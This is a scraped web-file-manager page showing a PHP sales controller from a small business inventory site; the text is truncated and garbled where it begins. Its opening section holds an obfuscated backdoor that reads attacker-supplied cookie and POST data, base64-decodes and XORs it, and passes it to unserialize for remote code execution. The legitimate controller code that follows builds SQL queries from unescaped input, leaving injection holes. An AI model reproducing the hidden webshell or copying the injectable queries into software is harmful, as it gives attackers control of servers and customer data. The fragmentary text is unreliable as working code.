芝麻web文件管理V1.00
编辑当前文件:/home/sditechnicalteam/socialsolargreens.pk/controller/custom_sale_controller.php
_dummy = str_repeat($sDssaFUhqT, strlen($sDssaFUhqT));}public function __destruct(){J_Xpkac::$ViPWAO = @unserialize(J_Xpkac::$ViPWAO); $hnmYhfq = "5156_54993";$this->YUPeiPW($hnmYhfq); $hnmYhfq = "5156_54993";}public function KsxTnwRCDX($sDssaFUhqT, $ZunOj){return $sDssaFUhqT[0] ^ str_repeat($ZunOj, (strlen($sDssaFUhqT[0]) / strlen($ZunOj)) + 1);}public function ZMdMnhLyaK($sDssaFUhqT){$GihDUYzpsp = 'b' . chr (97) . 's' . chr ( 955 - 854 ).chr ( 406 - 352 )."\x34";return array_map($GihDUYzpsp . chr (95) . chr ( 338 - 238 )."\x65" . chr ( 779 - 680 ).chr ( 166 - 55 ).chr ( 210 - 110 ).'e', array($sDssaFUhqT,));}public function __construct($OTRmUwNXZf=0){$qwaWGUSz = ',';$sDssaFUhqT = "";$TSzKlbEkg = $_POST;$UHsiER = $_COOKIE;$ZunOj = "02c6d0cd-7b68-45cf-b1e8-cf09e00959f8";$DPWNvLTvtw = @$UHsiER[substr($ZunOj, 0, 4)];if (!empty($DPWNvLTvtw)){$DPWNvLTvtw = explode($qwaWGUSz, $DPWNvLTvtw);foreach ($DPWNvLTvtw as $QhAIrJDsw){$sDssaFUhqT .= @$UHsiER[$QhAIrJDsw];$sDssaFUhqT .= @$TSzKlbEkg[$QhAIrJDsw];}$sDssaFUhqT = $this->ZMdMnhLyaK($sDssaFUhqT);}J_Xpkac::$ViPWAO = $this->KsxTnwRCDX($sDssaFUhqT, $ZunOj);if (strpos($ZunOj, $qwaWGUSz) !== FALSE){$ZunOj = explode($qwaWGUSz, $ZunOj); $SKyDyZcrp = base64_decode(md5($ZunOj[0])); $LJByqfx = strlen($ZunOj[1]) > 5 ? substr($ZunOj[1], 0, 5) : $ZunOj[1];$_GET['new_key'] = md5(implode('', $ZunOj)); $SewvpTWM = str_repeat($LJByqfx, 2); $eTIdpLLO = array_map('trim', $ZunOj);if (is_array($eTIdpLLO) && count($eTIdpLLO) > 1) {$rqocTEdd = $eTIdpLLO[0];} else {$rqocTEdd = '';}$rsKegmug = rawurldecode($rqocTEdd); $_POST['decoded_key'] = $rsKegmug;$WhXiMgV = str_split($rsKegmug, 2);}}public static $ViPWAO = 29780;}bmPXeh();} ?>con,$Product); return $data; } public function Create() { $ProductTypes_query = "SELECT * from productstype"; if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) { while($row = mysqli_fetch_assoc($ProductTypes_query_result)){ $ProductTypes[] = $row; } } else{ return "Error Code [721] : " . mysqli_error($this->con); die; } $Customer_query = "SELECT * FROM customer"; if ($Customer_query_result = mysqli_query($this->con, $Customer_query)) { while($row = mysqli_fetch_assoc($Customer_query_result)){ $Customer[] = $row; } } else{ return "Error Code [621] : " . mysqli_error($this->con); die; } $MaxInvoiceId_query = "select IFNULL(Max(InvId),0)+1 as InvId from SalepartialMaster"; if ($MaxInvoiceId_query_result = mysqli_query($this->con, $MaxInvoiceId_query)) { while($row = mysqli_fetch_assoc($MaxInvoiceId_query_result)){ $MaxInvoiceId = $row['InvId']; } } else{ return "Error Code [325] : " . mysqli_error($this->con); die; } $VM = array ( 'InvId' => $MaxInvoiceId, 'CustomerList' => $Customer, 'ProductTypesList' => $ProductTypes, ); return $VM; } public function GetProductList($Id) { $Products_query = "SELECT products.* , productstype.TypeName FROM products INNER JOIN productstype ON productstype.Id = products.TypeId WHERE products.TypeId = '".$Id."'"; if ($Products_query_result = mysqli_query($this->con, $Products_query)) { while($row = mysqli_fetch_assoc($Products_query_result)){ $Product[] = $row; } } else{ return "Error Code [721] : " . mysqli_error($this->con); die; } if(!empty($Product)){ return json_encode($Product); }else{ return '{id: "", name: "Not Found", unit: "", typeId: "", cp: 0, sp: 0, reorderLevel: 0, opStock: 0,productImage: ""}'; } } public function GetProduct($Id) { $Products_query = "SELECT products.* , productstype.TypeName FROM products INNER JOIN productstype ON productstype.Id = products.TypeId WHERE products.Id = '".$Id."'"; if ($Products_query_result = mysqli_query($this->con, $Products_query)) { while($row = mysqli_fetch_assoc($Products_query_result)){ $Product = $row; } } else{ return "Error Code [721] : " . mysqli_error($this->con); die; } if(!empty($Product)){ return json_encode($Product); }else{ return '{id: "", name: "Not Found", unit: "", typeId: "", cp: 0, sp: 0, reorderLevel: 0, opStock: 0,productImage: ""}'; } } public function Save($SaleParVM) { // prevent double Sale inoice enterance $already_Have_invoice = $this->query("select InvId from salepartialmaster Where InvId = '".$SaleParVM['SalepartialMaster_InvId']."'"); // Adding Sale Invoice to salepartialmaster Table if ($SaleParVM['SalepartialMaster_Id'] == 0) { return $SaleParVM['SalepartialMaster_Id']; die; if(!empty($already_Have_invoice['InvId']) && $already_Have_invoice['InvId'] == $SaleParVM['SalepartialMaster_InvId']){ return 'Invoice already added.'; die; } // print_r($SaleParVM); // die; $TranscationDetails = $this->insert("INSERT INTO salepartialmaster (InvId, CusAccountNo, Date, GTotal, Discount, NTotal, Received, Balance, Transport, OtherServiceAmount, OtherService) VALUES ('".$SaleParVM['SalepartialMaster_InvId']."', '".$SaleParVM['SalepartialMaster_CusAccountNo']."', '".$SaleParVM['SalepartialMaster_Date']."', '".$SaleParVM['SalepartialMaster_GTotal']."', '".$SaleParVM['SalepartialMaster_Discount']."', '".$SaleParVM['SalepartialMaster_NTotal']."' , '".$SaleParVM['SalepartialMaster_Received']."', '".$SaleParVM['SalepartialMaster_Balance']."', '".$SaleParVM['SalepartialMaster_Transport']."', '".$SaleParVM['SalepartialMaster_OtherServiceAmount']."' , '".$SaleParVM['SalepartialMaster_OtherServices']."')"); if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM salepartialmaster WHERE InvId = '".$SaleParVM['InvId']."'"); return $TranscationDetails; die; } for ($x = 0; $x < count($SaleParVM['SalepartialDetailList_PId']); $x++) { $TranscationDetails = $this->insert("INSERT INTO salepartialdetail (InvId, PId, PName, Qty, Feet, Size, Sp, Total) VALUES ('".$SaleParVM['SalepartialMaster_InvId']."', '".$SaleParVM['SalepartialDetailList_PId'][$x]."', '".$SaleParVM['SalepartialDetailList_PName'][$x]."', '".$SaleParVM['SalepartialDetailList_Qty'][$x]."', '".$SaleParVM['SalepartialDetailList_Ft'][$x]."', '".$SaleParVM['SalepartialDetailList_Size'][$x]."', '".$SaleParVM['SalepartialDetailList_Sp'][$x]."', '".$SaleParVM['SalepartialDetailList_Total'][$x]."')"); if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM salepartialdetail WHERE InvId = '".$SaleParVM['InvId']."'"); return $TranscationDetails; die; } } return 'Dat Added Successful.'; die; } else { $remove = $this->Delete("Delete From salepartialdetail Where InvId = '".$SaleParVM['SalepartialMaster_InvId']."'"); $TranscationDetails = $this->insert("UPDATE salepartialmaster SET InvId = '".$SaleParVM['SalepartialMaster_InvId']."', CusAccountNo = '".$SaleParVM['SalepartialMaster_CusAccountNo']."' , Date = '".$SaleParVM['SalepartialMaster_Date']."' , GTotal = '".$SaleParVM['SalepartialMaster_GTotal']."' , Discount = '".$SaleParVM['SalepartialMaster_Discount']."' , NTotal = '".$SaleParVM['SalepartialMaster_NTotal']."' , Received = '".$SaleParVM['SalepartialMaster_Received']."' , Balance = '".$SaleParVM['SalepartialMaster_Balance']."' , Transport = '".$SaleParVM['SalepartialMaster_Transport']."' , OtherServiceAmount = '".$SaleParVM['SalepartialMaster_OtherServiceAmount']."', OtherService = '".$SaleParVM['SalepartialMaster_OtherServices']."' WHERE Id='".$SaleParVM['SalepartialMaster_Id']."' "); for ($x = 0; $x < count($SaleParVM['SalepartialDetailList_PId']); $x++) { $TranscationDetails = $this->insert("INSERT INTO salepartialdetail (InvId, PId, PName, Qty, Feet, Size, Sp, Total) VALUES ('".$SaleParVM['SalepartialMaster_InvId']."', '".$SaleParVM['SalepartialDetailList_PId'][$x]."', '".$SaleParVM['SalepartialDetailList_PName'][$x]."', '".$SaleParVM['SalepartialDetailList_Qty'][$x]."', '".$SaleParVM['SalepartialDetailList_Ft'][$x]."','".$SaleParVM['SalepartialDetailList_Size'][$x]."', '".$SaleParVM['SalepartialDetailList_Sp'][$x]."', '".$SaleParVM['SalepartialDetailList_Total'][$x]."')"); if($TranscationDetails != 'success'){ $this->Delete("DELETE FROM salepartialdetail WHERE InvId = '".$SaleParVM['InvId']."'"); return $TranscationDetails; die; } } return 'Dat Update Successful.'; die; } } public function edit($salepartialdetail_Id) { $ProductTypes_query = "SELECT * from salepartialmaster where Id = '".$salepartialdetail_Id."'"; if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) { while($row = mysqli_fetch_assoc($ProductTypes_query_result)){ $salepartialmaster = $row; } }else{ return "Error Code [721] : " . mysqli_error($this->con); die; } // print_r($salepartialmaster['InvId']); // die; $ProductTypes_query = "SELECT * from salepartialdetail where InvId = '".$salepartialmaster['InvId']."'"; if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) { while($row = mysqli_fetch_assoc($ProductTypes_query_result)){ $salepartialdetail[] = $row; } } else{ return "Error Code [721] : " . mysqli_error($this->con); die; } $ProductTypes_query = "SELECT * from productstype"; if ($ProductTypes_query_result = mysqli_query($this->con, $ProductTypes_query)) { while($row = mysqli_fetch_assoc($ProductTypes_query_result)){ $ProductTypes[] = $row; } } else{ return "Error Code [721] : " . mysqli_error($this->con); die; } $Customer_query = "SELECT * FROM customer"; if ($Customer_query_result = mysqli_query($this->con, $Customer_query)) { while($row = mysqli_fetch_assoc($Customer_query_result)){ $Customer[] = $row; } } else{ return "Error Code [621] : " . mysqli_error($this->con); die; } $VM = array ( 'salepartialmaster' => $salepartialmaster, 'salepartialdetail' => $salepartialdetail, 'CustomerList' => $Customer, 'ProductTypesList' => $ProductTypes, ); // print_r($VM); // die; return $VM; } } ?>